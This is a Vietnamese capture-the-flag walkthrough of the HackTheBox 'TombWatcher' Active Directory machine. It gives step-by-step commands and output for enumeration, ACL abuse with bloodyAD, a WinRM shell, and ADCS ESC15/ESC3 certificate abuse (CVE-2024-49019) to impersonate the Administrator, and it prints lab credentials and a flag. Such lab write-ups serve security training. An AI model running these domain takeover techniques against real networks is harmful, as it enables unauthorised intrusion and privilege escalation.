❯ sudo nmap -sS -sV -sC -p- 10.10.11.72 Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-20 15:42 +0700 Nmap scan report for 10.10.11.72 Host is up (0.27s latency). Not shown: 65514 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-20 13:00:36Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name) | ssl-cert: OpenSSL required to parse certificate. |_-----END CERTIFICATE----- |_ssl-known-key: ERROR: Script execution failed (use -d to debug) |_ssl-date: 2025-10-20T13:02:12+00:00; +3h59m59s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl | ssl-cert: OpenSSL required to parse certificate. |_-----END CERTIFICATE----- |_ssl-known-key: ERROR: Script execution failed (use -d to debug) |_ssl-date: 2025-10-20T13:02:10+00:00; +4h00m00s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name) |_ssl-known-key: ERROR: Script execution failed (use -d to debug) |_ssl-date: 2025-10-20T13:02:12+00:00; +3h59m59s from scanner time. | ssl-cert: OpenSSL required to parse certificate. | -----BEGIN CERTIFICATE----- |_-----END CERTIFICATE----- 3269/tcp open ssl |_ssl-known-key: ERROR: Script execution failed (use -d to debug) | ssl-cert: OpenSSL required to parse certificate. | -----BEGIN CERTIFICATE----- |_-----END CERTIFICATE----- |_ssl-date: 2025-10-20T13:02:10+00:00; +4h00m00s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49713/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49713/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49751/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49713/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49713/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49751/tcp open msrpc Microsoft Windows RPC 49713/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49722/tcp open msrpc Microsoft Windows RPC 49751/tcp open msrpc Microsoft Windows RPC 49751/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1168.54 seconds
Decode openSSL cert ta được CN=DC01.tombwatcher.htb.
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.11.72 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
ADMIN$ và C$ là hidden administrative shares (tên kết thúc bằng $ ⇒ ẩn). Chúng tồn tại mặc định trên Windows và chỉ cho admin truy cập.
NETLOGON và SYSVOL thường xuất hiện trên Domain Controller. NETLOGON chứa logon scripts; SYSVOL chứa GPOs (Group Policy) — cả hai có thể tiết lộ cấu hình, script hoặc thông tin đăng nhập tạm thời nếu admin sơ hở.
IPC$ không phải nơi lưu file, mà là endpoint để chạy các lệnh RPC hoặc thực hiện authentication over SMB.
❯ rpcclient -U 'henry%H3nry_987TGV!' 10.10.11.72 # Lấy thông tin máy chủ rpcclient $> srvinfo 10.10.11.72 Wk Sv PDC Tim NT platform_id : 500 os version : 10.0 server type : 0x80102b
# Lấy thông tin domain rpcclient $> querydominfo Domain: TOMBWATCHER Server: Comment: Total Users: 43 Total Groups: 0 Total Aliases: 16 Sequence No: 1 Force Logoff: 18446744073709551615 Domain Server State: 0x1 Server Role: ROLE_DOMAIN_PDC Unknown 3: 0x1
# Liệt kê tất cả người dùng domain rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[Henry] rid:[0x44f] user:[Alfred] rid:[0x450] user:[sam] rid:[0x451] user:[john] rid:[0x452] user:[$DUPLICATE-455] rid:[0x455]
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: tombwatcher.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.tombwatcher.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc01.tombwatcher.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.tombwatcher.htb INFO: Found 9 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 2 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.tombwatcher.htb WARNING: Connection timed out while resolving sids INFO: Done in 00M 49S INFO: Compressing output into 20251020222119_bloodhound.zip
Import 20251020222119_bloodhound.zip vào BloodHound, phân tích ta có chain :
❯ impacket-psexec tombwatcher.htb/alfred:'basketball'@10.10.11.72 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.11.72..... [-] share 'ADMIN$' is not writable. [-] share 'C$' is not writable. [-] share 'NETLOGON' is not writable. [-] share 'SYSVOL' is not writable.
Tại sao ???
WinRM
Đầu tiên kiểm tra xem có WinRM (Windows Remote Management) services không:
1 2 3 4 5 6 7 8 9 10 11
❯ sudo nmap -sS -sV -sC -p 5985,5986 10.10.11.72
PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 5986/tcp filtered wsmans Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap done: 1 IP address (1 host up) scanned in 18.67 seconds
Port 5985 là port mặc định cho WinRM chạy qua http. Port 5986 là port mặc định cho WinRM chạy qua https.
Port 5985 mở, test thử:
1 2
❯ nc -vn 10.10.11.72 5985 (UNKNOWN) [10.10.11.72] 5985 (?) open
Tuy có mở port 5985, nhưng vì user Alfred không nằm trong nhóm quyền Remote Management Users nên không thể tạo phiên Powershell từ xa được.
WMI
Windows Management Instrumentation (WMI) sử dụng RPC/DCOM (Cổng 135 và các cổng ngẫu nhiên khác) để gọi phương thức Win32_Process::Create để thực thi lệnh từ xa.
impacket-wmiexec không thực sự tạo ra một shell tương tác (như SSH hay WinRM), mà nó hoạt động theo cơ chế thực thi lệnh và quản lý output để mô phỏng một shell:
Kết nối và Xác thực: Sử dụng giao thức SMB (Server Message Block, thường là cổng 445) để xác thực với máy mục tiêu bằng thông tin đăng nhập của người dùng.
Thực thi Lệnh qua WMI :
Sau khi xác thực, nó sử dụng WMI (thông qua giao thức DCOM/RPC trên các cổng ngẫu nhiên, hoặc cố định 135) để gọi một phương thức (method) trong WMI.
Cụ thể, nó thường gọi lớp Win32_Process và phương thức Create để yêu cầu hệ thống Windows chạy một lệnh mới.
Mô phỏng Shell:
Lệnh được thực thi thường là cmd.exe hoặc powershell.exe với lệnh mà bạn nhập.
impacket-wmiexec sử dụng một số thủ thuật để chuyển hướng đầu vào/đầu ra (stdin/stdout) của lệnh chạy trên máy chủ về lại máy client, giúp có cảm giác như đang dùng một shell tương tác.
Tóm lại, nó dùng WMI để tạo một quy trình mới cho mỗi lệnh nhập vào và dùng SMB để truyền tải thông tin đăng nhập và quản lý file output (nếu cần).
Để sử dụng được impacket-wmiexec thì tài khoản cần có quyền quản trị. (Hoặc 1 số trường hợp cần quyền Remote WMI + Execute Methods)
Ở đây tài khoản Alfred không có quyền quản trị nên không thể dùng impacket-wmiexec.
smbexec
impacket-smbexec dựa trên sự kết hợp của hai dịch vụ chính:
SMB (Server Message Block) sử dụng port TCP 445: Giao thức cốt lõi để xác thực, tải file lệnh, và thu thập kết quả.
SCM (Service Control Manager) sử dụng RPC/DCOM (Qua port 135) : Dịch vụ thực thi được sử dụng để tạo và chạy một dịch vụ mới, buộc dịch vụ này chạy file .bat chứa lệnh của người dùng.
impacket-smbexec hoạt động bằng cách sử dụng giao thức SMB để tạo và quản lý một dịch vụ Windows tạm thời trên máy chủ mục tiêu. Quá trình này mô phỏng một shell như sau:
Xác thực và Kết nối SMB: Công cụ sử dụng giao thức SMB (cổng 445) để kết nối và xác thực với máy mục tiêu.
Tải file Batch (.bat) Tạm thời:
smbexec ghi lệnh muốn chạy vào một file .bat tạm thời.
Sau đó, nó sử dụng SMB để tải file .bat này lên một thư mục chia sẻ có thể ghi được trên máy chủ (thường là thư mục C:\Windows\TEMP hoặc thư mục chia sẻ Admin như C$).
Tạo và Chạy Dịch vụ:
Công cụ sử dụng giao thức MSRPC (qua SMB hoặc RPC/DCOM, cổng 135) để tương tác với dịch vụ Service Control Manager (SCM) của Windows.
Nó ra lệnh cho SCM tạo một dịch vụ mới tạm thời, với lệnh thực thi của dịch vụ này là chạy file .bat vừa được tải lên.
Thu thập Output và Dọn dẹp:
Khi file .bat chạy, nó sẽ ghi kết quả (output) của lệnh vào một file text khác.
smbexec sử dụng SMB để đọc file output này về máy client.
Cuối cùng, nó ra lệnh cho SCM xóa dịch vụ tạm thời và sử dụng SMB để xóa các file .bat và file output, dọn dẹp dấu vết.
Vì smbexec dựa vào việc tạo và quản lý một dịch vụ hệ thống mới, nó có một yêu cầu về quyền hạn rất cao, nên tài khoản Alfred không đủ quyền.
psexec
Tương tự như smbexec, nhưng thay vì tải lên file .bat thì psexec tạo một dịch vụ thực sự và chạy một binary.
Do không thể chạy powershell hay cmd để kéo và sử dụng PowerView,chuyển hướng sử dụng BloodyAD để leo AD.
bloodyAD là một công cụ khai thác và leo thang đặc quyền trong Active Directory (AD) bằng cách thực hiện các cuộc gọi LDAP (Lightweight Directory Access Protocol) chuyên biệt.
AddSelf
Sử dụng quyền AddSelf để tự add user Alfred vào group INFRASTRUCTURE :
1 2 3
❯ bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred
[+] alfred added to INFRASTRUCTURE
ReadGMSAPassword
Khi alfred giờ là member của group INFRASTRUCTURE,ta có khả năng truy vấn msDS-ManagedPassword của ANSIBLE_DEV nhờ quyền ReadGMSAPassword :
Sử dụng tài khoản SAM để thay đổi Chủ sở hữu (Owner) của đối tượng John thành tài khoản SAM.
1 2
❯ bloodyAD --dc-ip 10.10.11.72 -d tombwatcher.htb -u SAM -p 'Password@123'set owner 'John' SAM [+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by SAM on John
Đổi pass tài khoản John:
1 2 3 4 5
❯ bloodyAD --dc-ip 10.10.11.72 -d tombwatcher.htb -u SAM -p 'Password@123' add genericAll 'John' SAM [+] SAM has now GenericAll on John
❯ evil-winrm -i 10.10.11.72 -u john -p Password@1234 -c 'whoami'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: Useless cert/s provided, SSL is not enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\john\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Lấy flag đầu tiên:
1 2
*Evil-WinRM* PS C:\Users\john\Documents> type ..\desktop\user.txt 5a8b6d6c53e4940f5bda7dc7099bb0b7
❯ certipy find -u 'john' -p 'Password@1234' -dc-ip 10.10.11.72 Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Finding issuance policies [*] Found 13 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for'tombwatcher-CA-1' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for'tombwatcher-CA-1' [*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Failed to lookup object with SID 'S-1-5-21-1392491010-1358638721-2126982587-1111' [*] Saving text output to '20251021201312_Certipy.txt' [*] Wrote text output to '20251021201312_Certipy.txt' [*] Saving JSON output to '20251021201312_Certipy.json' [*] Wrote JSON output to '20251021201312_Certipy.json'
Ở đây ta thấy certipy không lấy được thông tin của object có SID S-1-5-21-1392491010-1358638721-2126982587-1111 , có khả năng nó đã bị xóa.
Có 3 Template bị nghi ngờ : User , Machine và WebServer
32 Template Name : User Display Name : User Certificate Authorities : tombwatcher-CA-1 Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireUpn SubjectAltRequireEmail SubjectRequireEmail SubjectRequireDirectoryPath Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollment Private Key Flag : ExportableKey Extended Key Usage : Encrypting File System Secure Email Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2024-11-16T00:57:49+00:00 Template Last Modified : 2024-11-16T00:57:49+00:00 Permissions Enrollment Permissions Enrollment Rights : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Domain Users TOMBWATCHER.HTB\Enterprise Admins Object Control Permissions Owner : TOMBWATCHER.HTB\Enterprise Admins Full Control Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Owner Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Property Enroll : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Domain Users TOMBWATCHER.HTB\Enterprise Admins [+] User Enrollable Principals : TOMBWATCHER.HTB\Domain Users [*] Remarks ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
Template Name : Machine Display Name : Computer Certificate Authorities : tombwatcher-CA-1 Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireDnsAsCn Enrollment Flag : AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2024-11-16T00:57:49+00:00 Template Last Modified : 2024-11-16T00:57:49+00:00 Permissions Enrollment Permissions Enrollment Rights : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Domain Computers TOMBWATCHER.HTB\Enterprise Admins Object Control Permissions Owner : TOMBWATCHER.HTB\Enterprise Admins Full Control Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Owner Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Property Enroll : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Domain Computers TOMBWATCHER.HTB\Enterprise Admins [+] User Enrollable Principals : TOMBWATCHER.HTB\Domain Computers [*] Remarks ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
Ngoài ra còn phát hiện user này thuộc OU ADCS mà ta có quyền GenericAll từ John. Với quyền GenericAll trên toàn bộ OU, John có thể xâm phạm tài khoản cert_admin bằng nhiều cách.
❯ certipy find -u 'cert_admin' -p 'Password@1234' -dc-ip 10.10.11.72 Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Finding issuance policies [*] Found 13 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for'tombwatcher-CA-1' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for'tombwatcher-CA-1' [*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20251022151611_Certipy.txt' [*] Wrote text output to '20251022151611_Certipy.txt' [*] Saving JSON output to '20251022151611_Certipy.json' [*] Wrote JSON output to '20251022151611_Certipy.json'
ESC15
Chạy lại certipy với credentials của cert_admin , ta phát hiện có thể dùng CVE 2024-49019 để exploit template WebServer:
Template Name : WebServer Display Name : Web Server Certificate Authorities : tombwatcher-CA-1 Enabled : True Client Authentication : False Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 1 Validity Period : 2 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2024-11-16T00:57:49+00:00 Template Last Modified : 2024-11-16T17:07:26+00:00 Permissions Enrollment Permissions Enrollment Rights : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins TOMBWATCHER.HTB\cert_admin Object Control Permissions Owner : TOMBWATCHER.HTB\Enterprise Admins Full Control Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Owner Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins Write Property Enroll : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins TOMBWATCHER.HTB\cert_admin [+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin [!] Vulnerabilities ESC15 : Enrollee supplies subject and schema version is 1. [*] Remarks ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
Exploit
Theo certify wiki ESC15, còn được cộng đồng gọi là “EKUwu” ,được theo dõi dưới mã CVE-2024-49019, mô tả một lỗ hổng ảnh hưởng đến các CA (Certificate Authority) chưa được vá.
ESC15 (EKUwu) là một lỗ hổng trong AD CS cho phép người yêu cầu chứng chỉ tự ý thêm mục đích sử dụng mới (Application Policy) vào chứng chỉ được cấp, khiến chứng chỉ có thể được dùng cho những hành động mà CA không cho phép — ví dụ: đăng nhập người dùng (Client Auth) bằng chứng chỉ vốn chỉ dùng cho máy chủ web (Server Auth).
Dưới đây là 2 kịch bản tấn công được trình bày ở wiki.
Hướng 1: Impersonation trực tiếp qua Schannel (Inject “Client Authentication” Application Policy).Giả định rằng V1 template (ở đây là WebServer) cho phép attacker xác định target UPN ở trong SAN, và target service (ví dụ LDAPS) sử dụng Schannel
Bước 1: Yêu cầu certificate, inject “Client Authentication” Application Policy và target UPN. Attacker cert_admin target administrator@tombwatcher sử dụng WebServer V1 template (template cho phép enrollee-supplied subject).
[*] Requesting certificate via RPC [*] Request ID is 4 [*] Successfully requested certificate [*] Got certificate with UPN 'administrator@tombwatcher.htb' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx'
Thử authentication với pfx đó nhưng thất bại:
Tệp .pfx (viết tắt của Personal Information Exchange) là định dạng lưu trữ chứng chỉ số cùng với khóa riêng (private key) — thường được dùng trong Windows, IIS, AD CS, và nhiều ứng dụng bảo mật khác.
1 2 3 4 5 6 7 8 9 10 11
❯ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities: [*] SAN UPN: 'administrator@tombwatcher.htb' [*] Using principal: 'administrator@tombwatcher.htb' [*] Trying to get TGT... [-] Certificate is not valid for client authentication [-] Check the certificate template and ensure it has the correct EKU(s) [-] If you recently changed the certificate template, wait a few minutes for the change to propagate [-] See the wiki for more information
EKU (Extended Key Usage) là một thuộc tính (extension) trong chứng chỉ số (X.509 certificate) dùng để chỉ định mục đích sử dụng hợp lệ của chứng chỉ đó.
Có một lỗi EKU (Sử dụng Khóa Nâng cao) ở đây, là bởi vì đã sử dụng certificate này theo một cách không chủ đích. Tuy nhiên, certificate này vẫn có thể hoạt động qua LDAP. Bây giờ, cố gắng sử dụng nó để lấy một LDAP shell qua Schannel, nhưng thất bại:
1 2 3 4 5 6 7 8
❯ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities: [*] SAN UPN: 'administrator@tombwatcher.htb' [*] Connecting to 'ldaps://10.10.11.72:636' [-] Failed to connect to LDAP server: ("('socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:3895)',)",) [-] Use -debug to print a stacktrace
Hướng 2: PKINIT/Kerberos Impersonation thông qua Enrollment Agent Abuse (Inject “Certificate Request Agent” Application Policy). Tình huống này liên quan đến việc trước tiên lấy được một “agent” certificate bằng cách inject the “Certificate Request Agent” policy và sau đó sử dụng certificate đó để yêu cầu một chứng chỉ cho một người dùng có đặc quyền.
Lần này thay vì cấp cho chứng chỉ được tạo ra khả năng xác thực, tôi sẽ cấp cho nó thuộc tính agent:
[*] Requesting certificate via RPC [*] Request ID is 14 [*] Successfully requested certificate [*] Got certificate without identity [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'cert_admin.pfx' [*] Wrote certificate and private key to 'cert_admin.pfx'
Đến đây, về cơ bản có thể hoàn tất cuộc tấn công ESC3.Sử dụng tệp PFX đó để yêu cầu một ticket với vai trò là Administrator cho một template được thiết kế cho mục đích người dùng đăng nhập:
[*] Requesting certificate via RPC [*] Request ID is 15 [*] Successfully requested certificate [*] Got certificate with UPN 'Administrator@tombwatcher.htb' [*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500' [*] Saving certificate and private key to 'administrator.pfx' File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y [*] Wrote certificate and private key to 'administrator.pfx'